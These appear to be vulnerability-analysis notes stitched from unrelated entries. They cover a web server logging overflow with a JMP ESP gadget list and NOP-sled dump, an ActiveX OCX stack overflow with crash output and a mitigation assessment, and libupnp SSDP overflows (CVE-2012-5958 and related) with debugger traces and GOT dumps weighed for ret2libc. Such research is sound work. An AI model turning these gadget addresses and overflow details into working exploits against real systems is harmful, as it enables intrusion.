77E8560A   JMP ESP                                                                             C:\WINDOWS\system32\RPCRT4.dll
77E9025B   JMP ESP                                                                             C:\WINDOWS\system32\RPCRT4.dll
77F11000   INC ESI                                   (Initial CPU selection)                   C:\WINDOWS\system32\GDI32.dll
77F31D2F   JMP ESP                                                                             C:\WINDOWS\system32\GDI32.dll
77FE1000   PUSH EDI                                  (Initial CPU selection)                   C:\WINDOWS\system32\Secur32.dll
7C801000   INT 81                                    (Initial CPU selection)                   C:\WINDOWS\system32\kernel32.dll
7C86467B   JMP ESP                                                                             C:\WINDOWS\system32\kernel32.dll
7C901000   MOV ECX,DWORD PTR FS:[18]                 (Initial CPU selection)                   C:\WINDOWS\system32\ntdll.dll
7E411000   SALC                                      (Initial CPU selection)                   C:\WINDOWS\system32\USER32.DLL
7E429353   JMP ESP                                                                             C:\WINDOWS\system32\USER32.DLL
7E4456F7   JMP ESP                                                                             C:\WINDOWS\system32\USER32.DLL
7E455AF7   JMP ESP                                                                             C:\WINDOWS\system32\USER32.DLL
7E45B310   JMP ESP                                                                             C:\WINDOWS\system32\USER32.DLL

Dump:

00dfbceb 90 90 90 90 90 90 90  .......
00dfbcf2 90 90 90 90 90 90 90  .......
00dfbcf9 90 90 90 90 90 20 2d  ..... -
00dfbd00 20 43 6f 6e 6e 65 63   Connec
00dfbd07 74 69 6f 6e 20 66 72  tion fr
00dfbd0e 6f 6d 20 31 30 2e 30  om 10.0
00dfbd15 2e 31 2e 37 36 2c 20  .1.76,
00dfbd1c 72 65 71 75 65 73 74  request
00dfbd23 20 3d 20 22 47 45 54   = "GET
00dfbd2a 20 2f 90 90 90 90 90   /.....
00dfbd31 90 90 90 90 90 90 90  .......
00dfbd38 90 90 90 90 90 90 90  .......
00dfbd3f 90 90 90 90 90 90 90  .......
00dfbd46 90 90 90 90 90 90 90  .......

In function serveconnection(), protocol.c:

  Log("Connection from %s, request = \"GET %s\"", inet_ntoa(sa.sin_addr), ptr);

The Log() function comes from util.c:

	void Log(char *format, ...)
	{
		FILE *logfile;
		time_t t;
		struct tm *tm;
		char temp[200], temp2[200], logfilename[255];
		char datetime[] = "[%d.%m.%Y] [%H:%M.%S]";
		char datetime_final[128];
		va_list ap;

		va_start(ap, format);		// format it all into temp
		vsprintf(temp, format, ap);
1
Technical Analysis

.text:100021EA align 10h
.text:100021F0
.text:100021F0 loc_100021F0: ; CODE XREF: sub_10002140+A8j
.text:100021F0 ; sub_10002140+BD1j
.text:100021F0 movzx ecx, word ptr [eax]
.text:100021F3 mov [edx+eax], cx
.text:100021F7 add eax, 2
.text:100021FA test cx, cx
.text:100021FD jnz short loc_100021F0

edx points to a local variable, eax to the user controlled provided annotation.

Crash:

(d98.4cc): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\PROGRA~1\BLACKI~1\BLACKI~2\BLACKI~1\BLACKI~1.OCX
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\BLACKI~1\BLACKI~2\BLACKI~1\BLACKI~1.OCX -
eax=03719080 ebx=00000000 ecx=00000041 edx=fe906f80 esi=0201f1e0 edi=00000040
eip=100021f3 esp=0201f174 ebp=0201f38c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
BLACKI_1!DllUnregisterServer+0xfc3:
100021f3 66890c02 mov word ptr [edx+eax],cx ds:0023:02020000=4d5a
0:008> db edx
0:008> db eax
03719080 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03719090 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190a0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190b0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190c0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
037190f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.

In this case the exception is due to a overflow of the stack space. Trying to write after stack generates an exception. But this situation is tricky to exploit in moden versions of IE because heap goes after stack... so generate an exception trends to be tricky. Will give a chance anyway.

On the other hand the vulnerable function is protected by stack cookies:

.text:1000221D xor ecx, esp
.text:1000221F call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:10002224 add esp, 60h
.text:10002227 retn 3Ch
.text:10002227 sub_10002140 endp
”`

Finally doesn’t look so bad for exploitation via seh overwrite, but bad luck because the OCX is safeseh = true :( So… sounds difficult to make it exploitable out of ie6/ie7

1
Technical Analysis
  • How unique_service_name is reached?00
Breakpoint 4, unique_service_name (
    cmd=0x8053ad8 "uuid:schemas:device:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"..., Evt=0xb57e6ca4) at src/ssdp/ssdp_server.c:496
496	    printf("[*] unique_service_name()\n");
(gdb) bt
#0  unique_service_name (
    cmd=0x8053ad8 "uuid:schemas:device:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"..., Evt=0xb57e6ca4) at src/ssdp/ssdp_server.c:496
#1  0x0013464a in ssdp_request_type (
    cmd=0x8053ad8 "uuid:schemas:device:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"..., Evt=0xb57e7260) at src/ssdp/ssdp_server.c:624
#2  0x001326c9 in ssdp_handle_device_request (hmsg=0x8051bb0, dest_addr=0x8051c8c) at src/ssdp/ssdp_device.c:127
#3  0x001341e8 in ssdp_event_handler_thread (the_data=0x8051bb0) at src/ssdp/ssdp_server.c:787
#4  0x0015f306 in WorkerThread (arg=0x15b340) at src/ThreadPool.c:533
#5  0x0017596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#6  0x00256a4e in clone () from /lib/tls/i686/cmov/libc.so.6
  • CVE-2012-5958

TempBuf Overflowed, at the current stack frame

  • CVE-2012-5959, CVE-2012-5961, CVE-2012-5962, CVE-2012-5963, CVE-2012-5964, CVE-2012-5965, CVE-2012-5960

Evt members overflowed. Evt stored at the ssdp_handle_device_request frame:

ssdp_handle_device_request( IN http_message_t * hmsg, IN struct sockaddr_in *dest_addr )

int handle;
struct Handle_Info *dev_info = NULL;
memptr hdr_value;
int mx;
char save_char;
SsdpEvent event; <==
int ret_code;
SsdpSearchReply *threadArg = NULL;
ThreadPoolJob job;
int replyTime;
int maxAge;
  • CVE-2012-5958, assuming no PIE for the main executable, which has been found in the wild, having into account
    which goodchars are from 0x01-0x7f or 0x80-0xff (with exceptions), doesn’t seem feasible to use any of these
    addresses to make a type of ret2libc:

(1) .got.plt for upnp_tv_device, the check program linked with libupnp (compiled on ubuntu 10.04 with
gcc flags to disable stack-cookies and fortify libc checks)

.got.plt:0804F000 off_804F000     dd offset UpnpInit      ; DATA XREF: _UpnpInitr
.got.plt:0804F004 off_804F004     dd offset sigemptyset   ; DATA XREF: _sigemptysetr
.got.plt:0804F008 off_804F008     dd offset UpnpSendAdvertisement
.got.plt:0804F008                                         ; DATA XREF: _UpnpSendAdvertisementr
.got.plt:0804F00C off_804F00C     dd offset sprintf       ; DATA XREF: _sprintfr
.got.plt:0804F010 off_804F010     dd offset ixmlPrintNode ; DATA XREF: _ixmlPrintNoder
.got.plt:0804F014 off_804F014     dd offset ixmlNode_getNodeType
.got.plt:0804F014                                         ; DATA XREF: _ixmlNode_getNodeTyper
.got.plt:0804F018 off_804F018     dd offset __gmon_start__ ; DATA XREF: ___gmon_start__r
.got.plt:0804F01C off_804F01C     dd offset __isoc99_sscanf ; DATA XREF: ___isoc99_sscanfr
.got.plt:0804F020 off_804F020     dd offset UpnpUnRegisterRootDevice
.got.plt:0804F020                                         ; DATA XREF: _UpnpUnRegisterRootDevicer
.got.plt:0804F024 off_804F024     dd offset vsnprintf     ; DATA XREF: _vsnprintfr
.got.plt:0804F028 off_804F028     dd offset ixmlNode_getFirstChild
.got.plt:0804F028                                         ; DATA XREF: _ixmlNode_getFirstChildr
.got.plt:0804F02C off_804F02C     dd offset fgets         ; DATA XREF: _fgetsr
.got.plt:0804F030 off_804F030     dd offset ixmlNode_getNodeValue
.got.plt:0804F030                                         ; DATA XREF: _ixmlNode_getNodeValuer
.got.plt:0804F034 off_804F034     dd offset __libc_start_main
.got.plt:0804F034                                         ; DATA XREF: ___libc_start_mainr
.got.plt:0804F038 off_804F038     dd offset UpnpAddToActionResponse
.got.plt:0804F038                                         ; DATA XREF: _UpnpAddToActionResponser
.got.plt:0804F03C off_804F03C     dd offset ixmlNodeList_length
.got.plt:0804F03C                                         ; DATA XREF: _ixmlNodeList_lengthr
.got.plt:0804F040 off_804F040     dd offset UpnpGetServerIpAddress
.got.plt:0804F040                                         ; DATA XREF: _UpnpGetServerIpAddressr
.got.plt:0804F044 off_804F044     dd offset __assert_fail ; DATA XREF: ___assert_failr
.got.plt:0804F048 off_804F048     dd offset pthread_mutexattr_setkind_np
.got.plt:0804F048                                         ; DATA XREF: _pthread_mutexattr_setkind_npr
.got.plt:0804F04C off_804F04C     dd offset UpnpAcceptSubscription
.got.plt:0804F04C                                         ; DATA XREF: _UpnpAcceptSubscriptionr
.got.plt:0804F050 off_804F050     dd offset UpnpResolveURL ; DATA XREF: _UpnpResolveURLr
.got.plt:0804F054 off_804F054     dd offset sigwait       ; DATA XREF: _sigwaitr
.got.plt:0804F058 off_804F058     dd offset strtol        ; DATA XREF: _strtolr
.got.plt:0804F05C off_804F05C     dd offset free          ; DATA XREF: _freer
.got.plt:0804F060 off_804F060     dd offset ixmlCloneDOMString
.got.plt:0804F060                                         ; DATA XREF: _ixmlCloneDOMStringr
.got.plt:0804F064 off_804F064     dd offset pthread_mutex_unlock
.got.plt:0804F064                                         ; DATA XREF: _pthread_mutex_unlockr
.got.plt:0804F068 off_804F068     dd offset UpnpGetServerPort
.got.plt:0804F068                                         ; DATA XREF: _UpnpGetServerPortr
.got.plt:0804F06C off_804F06C     dd offset pthread_mutexattr_destroy
.got.plt:0804F06C                                         ; DATA XREF: _pthread_mutexattr_destroyr
.got.plt:0804F070 off_804F070     dd offset ixmlNodeList_free
.got.plt:0804F070                                         ; DATA XREF: _ixmlNodeList_freer
.got.plt:0804F074 off_804F074     dd offset ixmlDocument_free
.got.plt:0804F074                                         ; DATA XREF: _ixmlDocument_freer
.got.plt:0804F078 off_804F078     dd offset strlen        ; DATA XREF: _strlenr
.got.plt:0804F07C off_804F07C     dd offset pthread_mutex_destroy
.got.plt:0804F07C                                         ; DATA XREF: _pthread_mutex_destroyr
.got.plt:0804F080 off_804F080     dd offset strcpy        ; DATA XREF: _strcpyr
.got.plt:0804F084 off_804F084     dd offset printf        ; DATA XREF: _printfr
.got.plt:0804F088 off_804F088     dd offset pthread_mutex_init
.got.plt:0804F088                                         ; DATA XREF: _pthread_mutex_initr
.got.plt:0804F08C off_804F08C     dd offset strcasecmp    ; DATA XREF: _strcasecmpr
.got.plt:0804F090 off_804F090     dd offset malloc        ; DATA XREF: _mallocr
.got.plt:0804F094 off_804F094     dd offset pthread_mutex_lock
.got.plt:0804F094                                         ; DATA XREF: _pthread_mutex_lockr
.got.plt:0804F098 off_804F098     dd offset UpnpDownloadXmlDoc
.got.plt:0804F098                                         ; DATA XREF: _UpnpDownloadXmlDocr
.got.plt:0804F09C off_804F09C     dd offset UpnpSetWebServerRootDir
.got.plt:0804F09C                                         ; DATA XREF: _UpnpSetWebServerRootDirr
.got.plt:0804F0A0 off_804F0A0     dd offset pthread_create ; DATA XREF: _pthread_creater
.got.plt:0804F0A4 off_804F0A4     dd offset sigaddset     ; DATA XREF: _sigaddsetr
.got.plt:0804F0A8 off_804F0A8     dd offset ixmlElement_getElementsByTagName
.got.plt:0804F0A8                                         ; DATA XREF: _ixmlElement_getElementsByTagNamer
.got.plt:0804F0AC off_804F0AC     dd offset UpnpFinish    ; DATA XREF: _UpnpFinishr
.got.plt:0804F0B0 off_804F0B0     dd offset UpnpRegisterRootDevice
.got.plt:0804F0B0                                         ; DATA XREF: _UpnpRegisterRootDevicer
.got.plt:0804F0B4 off_804F0B4     dd offset UpnpNotify    ; DATA XREF: _UpnpNotifyr
.got.plt:0804F0B8 off_804F0B8     dd offset ixmlNodeList_item
.got.plt:0804F0B8                                         ; DATA XREF: _ixmlNodeList_itemr
.got.plt:0804F0BC off_804F0BC     dd offset snprintf      ; DATA XREF: _snprintfr
.got.plt:0804F0C0 off_804F0C0     dd offset pthread_mutexattr_init
.got.plt:0804F0C0                                         ; DATA XREF: _pthread_mutexattr_initr
.got.plt:0804F0C4 off_804F0C4     dd offset strcmp        ; DATA XREF: _strcmpr
.got.plt:0804F0C8 off_804F0C8     dd offset __strdup      ; DATA XREF: ___strdupr
.got.plt:0804F0CC off_804F0CC     dd offset exit          ; DATA XREF: _exitr
.got.plt:0804F0D0 off_804F0D0     dd offset ixmlFreeDOMString
.got.plt:0804F0D0                                         ; DATA XREF: _ixmlFreeDOMStringr
.got.plt:0804F0D4 off_804F0D4     dd offset ixmlDocument_getElementsByTagName
.got.plt:0804F0D4                                         ; DATA XREF: _ixmlDocument_getElementsByTagNamer
.got.plt:0804F0D4 _got_plt        ends
.got.plt:0804F0D4
  • For the dms executable
.got.plt:080BA208 off_80BA208     dd offset __cxa_end_catch ; DATA XREF: ___cxa_end_catchr
.got.plt:080BA20C off_80BA20C     dd offset __cxa_rethrow ; DATA XREF: ___cxa_rethrowr
.got.plt:080BA210 off_80BA210     dd offset _ZN11MediaServer15GetAbsolutePathERKSs
.got.plt:080BA210                                         ; DATA XREF: MediaServer::GetAbsolutePath(std::string  const&)r
.got.plt:080BA210                                         ; MediaServer::GetAbsolutePath(std::string  const&)
.got.plt:080BA214 off_80BA214     dd offset _ZN14SynoAudioUtils25RadioGetGenreStationCountEj
.got.plt:080BA214                                         ; DATA XREF: SynoAudioUtils::RadioGetGenreStationCount(uint)r
.got.plt:080BA214                                         ; SynoAudioUtils::RadioGetGenreStationCount(uint)
.got.plt:080BA218 off_80BA218     dd offset UpnpInit      ; DATA XREF: _UpnpInitr
.got.plt:080BA21C off_80BA21C     dd offset UpnpSetVirtualDirCallbacks
.got.plt:080BA21C                                         ; DATA XREF: _UpnpSetVirtualDirCallbacksr
.got.plt:080BA220 off_80BA220     dd offset mkdir         ; DATA XREF: _mkdirr
.got.plt:080BA224 off_80BA224     dd offset pthread_getspecific
.got.plt:080BA224                                         ; DATA XREF: _pthread_getspecificr
.got.plt:080BA228 off_80BA228     dd offset _ZN11MediaServer7MediaDB12AddConditionERKSs
.got.plt:080BA228                                         ; DATA XREF: MediaServer::MediaDB::AddCondition(std::string  const&)r
.got.plt:080BA228                                         ; MediaServer::MediaDB::AddCondition(std::string  const&)
.got.plt:080BA22C off_80BA22C     dd offset _ZN11MediaServer15DMSStringBundle9TranslateERKSs
.got.plt:080BA22C                                         ; DATA XREF: MediaServer::DMSStringBundle::Translate(std::string  const&)r
.got.plt:080BA22C                                         ; MediaServer::DMSStringBundle::Translate(std::string  const&)
.got.plt:080BA230 off_80BA230     dd offset ixmlNode_getFirstChild
.got.plt:080BA230                                         ; DATA XREF: _ixmlNode_getFirstChildr
.got.plt:080BA234 off_80BA234     dd offset _ZN11MediaServer7MediaDB10FetchFieldEPKc
.got.plt:080BA234                                         ; DATA XREF: MediaServer::MediaDB::FetchField(char  const*)r
.got.plt:080BA234                                         ; MediaServer::MediaDB::FetchField(char  const*)
.got.plt:080BA238 off_80BA238     dd offset _ZN11MediaServer18DMSGetThumbnailResEiiPiS0_i
.got.plt:080BA238                                         ; DATA XREF: MediaServer::DMSGetThumbnailRes(int,int,int *,int *,int)r
.got.plt:080BA238                                         ; MediaServer::DMSGetThumbnailRes(int,int,int *,int *,int)
.got.plt:080BA23C off_80BA23C     dd offset _ZNSt8ios_base4InitC1Ev
.got.plt:080BA23C                                         ; DATA XREF: std::ios_base::Init::Init(void)r
.got.plt:080BA23C                                         ; std::ios_base::Init::Init(void)
.got.plt:080BA240 off_80BA240     dd offset strchr        ; DATA XREF: _strchrr
.got.plt:080BA244 off_80BA244     dd offset _ZN11MediaServer21XMLGetElmentTextValueEP10_IXML_Node
.got.plt:080BA244                                         ; DATA XREF: MediaServer::XMLGetElmentTextValue(_IXML_Node *)r
.got.plt:080BA244                                         ; MediaServer::XMLGetElmentTextValue(_IXML_Node *)
.got.plt:080BA248 off_80BA248     dd offset _ZN11MediaServer19DMSGetProductSerialEv
.got.plt:080BA248                                         ; DATA XREF: MediaServer::DMSGetProductSerial(void)r
.got.plt:080BA248                                         ; MediaServer::DMSGetProductSerial(void)
.got.plt:080BA24C off_80BA24C     dd offset _ZN4Json18StyledStreamWriterC1ESs
.got.plt:080BA24C                                         ; DATA XREF: Json::StyledStreamWriter::StyledStreamWriter(std::string)r
.got.plt:080BA24C                                         ; Json::StyledStreamWriter::StyledStreamWriter(std::string)
.got.plt:080BA250 off_80BA250     dd offset _ZNKSs13find_first_ofEPKcjj
.got.plt:080BA250                                         ; DATA XREF: std::string::find_first_of(char  const*,uint,uint)r
.got.plt:080BA250                                         ; std::string::find_first_of(char  const*,uint,uint)
.got.plt:080BA254 off_80BA254     dd offset _ZN14SynoAudioUtils17RadioGetGenreDataEjRNS_10RadioGenreE
.got.plt:080BA254                                         ; DATA XREF: SynoAudioUtils::RadioGetGenreData(uint,SynoAudioUtils::RadioGenre &)r
.got.plt:080BA254                                         ; SynoAudioUtils::RadioGetGenreData(uint,SynoAudioUtils::RadioGenre &)
.got.plt:080BA258 off_80BA258     dd offset _ZN4Json5ValueC1ENS_9ValueTypeE
.got.plt:080BA258                                         ; DATA XREF: Json::Value::Value(Json::ValueType)r
.got.plt:080BA258                                         ; Json::Value::Value(Json::ValueType)
.got.plt:080BA25C off_80BA25C     dd offset _ZNSt6localeD1Ev
.got.plt:080BA25C                                         ; DATA XREF: std::locale::~locale()r
.got.plt:080BA25C                                         ; std::locale::~locale()
.got.plt:080BA260 off_80BA260     dd offset getopt_long_only ; DATA XREF: _getopt_long_onlyr
.got.plt:080BA264 off_80BA264     dd offset _ZNKSs5rfindEPKcjj
.got.plt:080BA264                                         ; DATA XREF: std::string::rfind(char  const*,uint,uint)r
.got.plt:080BA264                                         ; std::string::rfind(char  const*,uint,uint)
.got.plt:080BA268 off_80BA268     dd offset getpid        ; DATA XREF: _getpidr
.got.plt:080BA26C off_80BA26C     dd offset _ZN7pcrecpp2RE4InitERKSsPKNS_10RE_OptionsE
.got.plt:080BA26C                                         ; DATA XREF: pcrecpp::RE::Init(std::string  const&,pcrecpp::RE_Options  const*)r
.got.plt:080BA26C                                         ; pcrecpp::RE::Init(std::string  const&,pcrecpp::RE_Options  const*)
.got.plt:080BA270 off_80BA270     dd offset strdup        ; DATA XREF: _strdupr
.got.plt:080BA274 off_80BA274     dd offset appendPQExpBuffer
.got.plt:080BA274                                         ; DATA XREF: _appendPQExpBufferr
.got.plt:080BA278 off_80BA278     dd offset _ZN11MediaServer15DMSStringBundleC1ERKSs
.got.plt:080BA278                                         ; DATA XREF: MediaServer::DMSStringBundle::DMSStringBundle(std::string  const&)r
.got.plt:080BA278                                         ; MediaServer::DMSStringBundle::DMSStringBundle(std::string  const&)
.got.plt:080BA27C off_80BA27C     dd offset _ZN11MediaServer13DMSClientList4LoadERKSsS2_
.got.plt:080BA27C                                         ; DATA XREF: MediaServer::DMSClientList::Load(std::string  const&,std::string  const&)r
.got.plt:080BA27C                                         ; MediaServer::DMSClientList::Load(std::string  const&,std::string  const&)
.got.plt:080BA280 off_80BA280     dd offset SYNODlnaContainerTypeGet
.got.plt:080BA280                                         ; DATA XREF: _SYNODlnaContainerTypeGetr
.got.plt:080BA284 off_80BA284     dd offset UpnpRegisterClient
.got.plt:080BA284                                         ; DATA XREF: _UpnpRegisterClientr
.got.plt:080BA288 off_80BA288     dd offset UpnpSearchAsync ; DATA XREF: _UpnpSearchAsyncr
.got.plt:080BA28C off_80BA28C     dd offset write         ; DATA XREF: _writer
.got.plt:080BA290 off_80BA290     dd offset strcmp        ; DATA XREF: _strcmpr
.got.plt:080BA294 off_80BA294     dd offset _ZN14SynoAudioUtils15SmartPLSGetNameEi
.got.plt:080BA294                                         ; DATA XREF: SynoAudioUtils::SmartPLSGetName(int)r
.got.plt:080BA294                                         ; SynoAudioUtils::SmartPLSGetName(int)
.got.plt:080BA298 off_80BA298     dd offset _ZNSt8ios_baseC2Ev
.got.plt:080BA298                                         ; DATA XREF: std::ios_base::ios_base(void)r
.got.plt:080BA298                                         ; std::ios_base::ios_base(void)
.got.plt:080BA29C off_80BA29C     dd offset _ZN11MediaServer13DMSClientList11EraseObjectERKSs
.got.plt:080BA29C                                         ; DATA XREF: MediaServer::DMSClientList::EraseObject(std::string  const&)r
.got.plt:080BA29C                                         ; MediaServer::DMSClientList::EraseObject(std::string  const&)
.got.plt:080BA2A0 off_80BA2A0     dd offset close         ; DATA XREF: _closer
.got.plt:080BA2A4 off_80BA2A4     dd offset SYNODBClose   ; DATA XREF: destr_function:_SYNODBCloser
.got.plt:080BA2A8 off_80BA2A8     dd offset _ZNSt13basic_filebufIcSt11char_traitsIcEE5closeEv
.got.plt:080BA2A8                                         ; DATA XREF: std::basic_filebuf<char,std::char_traits<char>>::close(void)r
.got.plt:080BA2A8                                         ; std::basic_filebuf<char,std::char_traits<char>>::close(void)
.got.plt:080BA2AC off_80BA2AC     dd offset _ZN14SynoAudioUtils18RadioGetGenreCountEv
.got.plt:080BA2AC                                         ; DATA XREF: SynoAudioUtils::RadioGetGenreCount(void)r
.got.plt:080BA2AC                                         ; SynoAudioUtils::RadioGetGenreCount(void)
.got.plt:080BA2B0 off_80BA2B0     dd offset _ZN11MediaServer16DMSGetProductUDNEv
.got.plt:080BA2B0                                         ; DATA XREF: MediaServer::DMSGetProductUDN(void)r
.got.plt:080BA2B0                                         ; MediaServer::DMSGetProductUDN(void)
.got.plt:080BA2B4 off_80BA2B4     dd offset fprintf       ; DATA XREF: _fprintfr
.got.plt:080BA2B8 off_80BA2B8     dd offset SYNOAacObjectTypeGet
.got.plt:080BA2B8                                         ; DATA XREF: _SYNOAacObjectTypeGetr
.got.plt:080BA2BC off_80BA2BC     dd offset pcre_fullinfo ; DATA XREF: _pcre_fullinfor
.got.plt:080BA2C0 off_80BA2C0     dd offset signal        ; DATA XREF: _signalr
.got.plt:080BA2C4 off_80BA2C4     dd offset UpnpSendAdvertisement
.got.plt:080BA2C4                                         ; DATA XREF: _UpnpSendAdvertisementr
.got.plt:080BA2C8 off_80BA2C8     dd offset _ZN11MediaServer7MediaDB15FetchFieldAsIntEPKc
.got.plt:080BA2C8                                         ; DATA XREF: MediaServer::MediaDB::FetchFieldAsInt(char  const*)r
.got.plt:080BA2C8                                         ; MediaServer::MediaDB::FetchFieldAsInt(char  const*)
.got.plt:080BA2CC off_80BA2CC     dd offset ixmlNodeList_length
.got.plt:080BA2CC                                         ; DATA XREF: _ixmlNodeList_lengthr
.got.plt:080BA2D0 off_80BA2D0     dd offset _ZN11MediaServer25GetMACAddressFromARPTableERKSs
.got.plt:080BA2D0                                         ; DATA XREF: MediaServer::GetMACAddressFromARPTable(std::string  const&)r
.got.plt:080BA2D0                                         ; MediaServer::GetMACAddressFromARPTable(std::string  const&)
.got.plt:080BA2D4 off_80BA2D4     dd offset unlink        ; DATA XREF: _unlinkr
.got.plt:080BA2D8 off_80BA2D8     dd offset _ZNSt13basic_filebufIcSt11char_traitsIcEE4openEPKcSt13_Ios_Openmode
.got.plt:080BA2D8                                         ; DATA XREF: std::basic_filebuf<char,std::char_traits<char>>::open(char  const*,std::_Ios_Openmode)r
.got.plt:080BA2D8                                         ; std::basic_filebuf<char,std::char_traits<char>>::open(char  const*,std::_Ios_Openmode)
.got.plt:080BA2DC off_80BA2DC     dd offset _ZSt17__throw_bad_allocv
.got.plt:080BA2DC                                         ; DATA XREF: std::__throw_bad_alloc(void)r
.got.plt:080BA2DC                                         ; std::__throw_bad_alloc(void)
.got.plt:080BA2E0 off_80BA2E0     dd offset open64        ; DATA XREF: _open64r
.got.plt:080BA2E4 off_80BA2E4     dd offset _ZN11MediaServer13DMSClientList10UpdateKeysERKSsS2_S2_RKSt3mapISsSsSt4lessISsESaISt4pairIS1_SsEEE
.got.plt:080BA2E4                                         ; DATA XREF: MediaServer::DMSClientList::UpdateKeys(std::string  const&,std::string  const&,std::string  const&,std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string  const,std::string>>>  const&)r
.got.plt:080BA2E4                                         ; MediaServer::DMSClientList::UpdateKeys(std::string  const&,std::string  const&,std::string  const&,std::map<std::string,std::string,std::less<std::string>,std::allocator<std::pair<std::string  const,std::string>>>  const&)
.got.plt:080BA2E8 off_80BA2E8     dd offset _ZNK7pcrecpp2RE12PartialMatchERKNS_11StringPieceERKNS_3ArgES6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_S6_
.got.plt:080BA2E8                                         ; DATA XREF: pcrecpp::RE::PartialMatch(pcrecpp::StringPiece  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&)r
.got.plt:080BA2E8                                         ; pcrecpp::RE::PartialMatch(pcrecpp::StringPiece  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&,pcrecpp::Arg  const&)
.got.plt:080BA2EC off_80BA2EC     dd offset strerror      ; DATA XREF: _strerrorr
.got.plt:080BA2F0 off_80BA2F0     dd offset pthread_cancel ; DATA XREF: _pthread_cancelr
.got.plt:080BA2F4 off_80BA2F4     dd offset _ZN11MediaServer11DMSLogCloseEv
.got.plt:080BA2F4                                         ; DATA XREF: sub_8084BDC:MediaServer::DMSLogClose(void)r
.got.plt:080BA2F4                                         ; MediaServer::DMSLogClose(void)
.got.plt:080BA2F8 off_80BA2F8     dd offset _ZN14SynoAudioUtils17SmartPLSListSongsEiiiRiRSt4listI21__tag_SYNO_MEDIA_INFOSaIS2_EEb
.got.plt:080BA2F8                                         ; DATA XREF: SynoAudioUtils::SmartPLSListSongs(int,int,int,int &,std::list<__tag_SYNO_MEDIA_INFO,std::allocator<__tag_SYNO_MEDIA_INFO>> &,bool)r
.got.plt:080BA2F8                                         ; SynoAudioUtils::SmartPLSListSongs(int,int,int,int &,std::list<__tag_SYNO_MEDIA_INFO,std::allocator<__tag_SYNO_MEDIA_INFO>> &,bool)
.got.plt:080BA2FC off_80BA2FC     dd offset termPQExpBuffer ; DATA XREF: _termPQExpBufferr
.got.plt:080BA300 off_80BA300     dd offset dirname       ; DATA XREF: _dirnamer
.got.plt:080BA304 off_80BA304     dd offset _ZNKSs7compareEPKc
.got.plt:080BA304                                         ; DATA XREF: std::string::compare(char  const*)r
.got.plt:080BA304                                         ; std::string::compare(char  const*)
.got.plt:080BA308 off_80BA308     dd offset __cxa_atexit  ; DATA XREF: ___cxa_atexitr
.got.plt:080BA30C off_80BA30C     dd offset __errno_location ; DATA XREF: ___errno_locationr
.got.plt:080BA310 off_80BA310     dd offset _ZN11MediaServer13DMSClientListC1Ev
.got.plt:080BA310                                         ; DATA XREF: MediaServer::DMSClientList::DMSClientList(void)r
.got.plt:080BA310                                         ; MediaServer::DMSClientList::DMSClientList(void)
.got.plt:080BA314 off_80BA314     dd offset MediaInfoDBClose ; DATA XREF: _MediaInfoDBCloser
.got.plt:080BA318 off_80BA318     dd offset _ZN14SynoAudioUtils16SmartPLSGetCountEv
.got.plt:080BA318                                         ; DATA XREF: SynoAudioUtils::SmartPLSGetCount(void)r
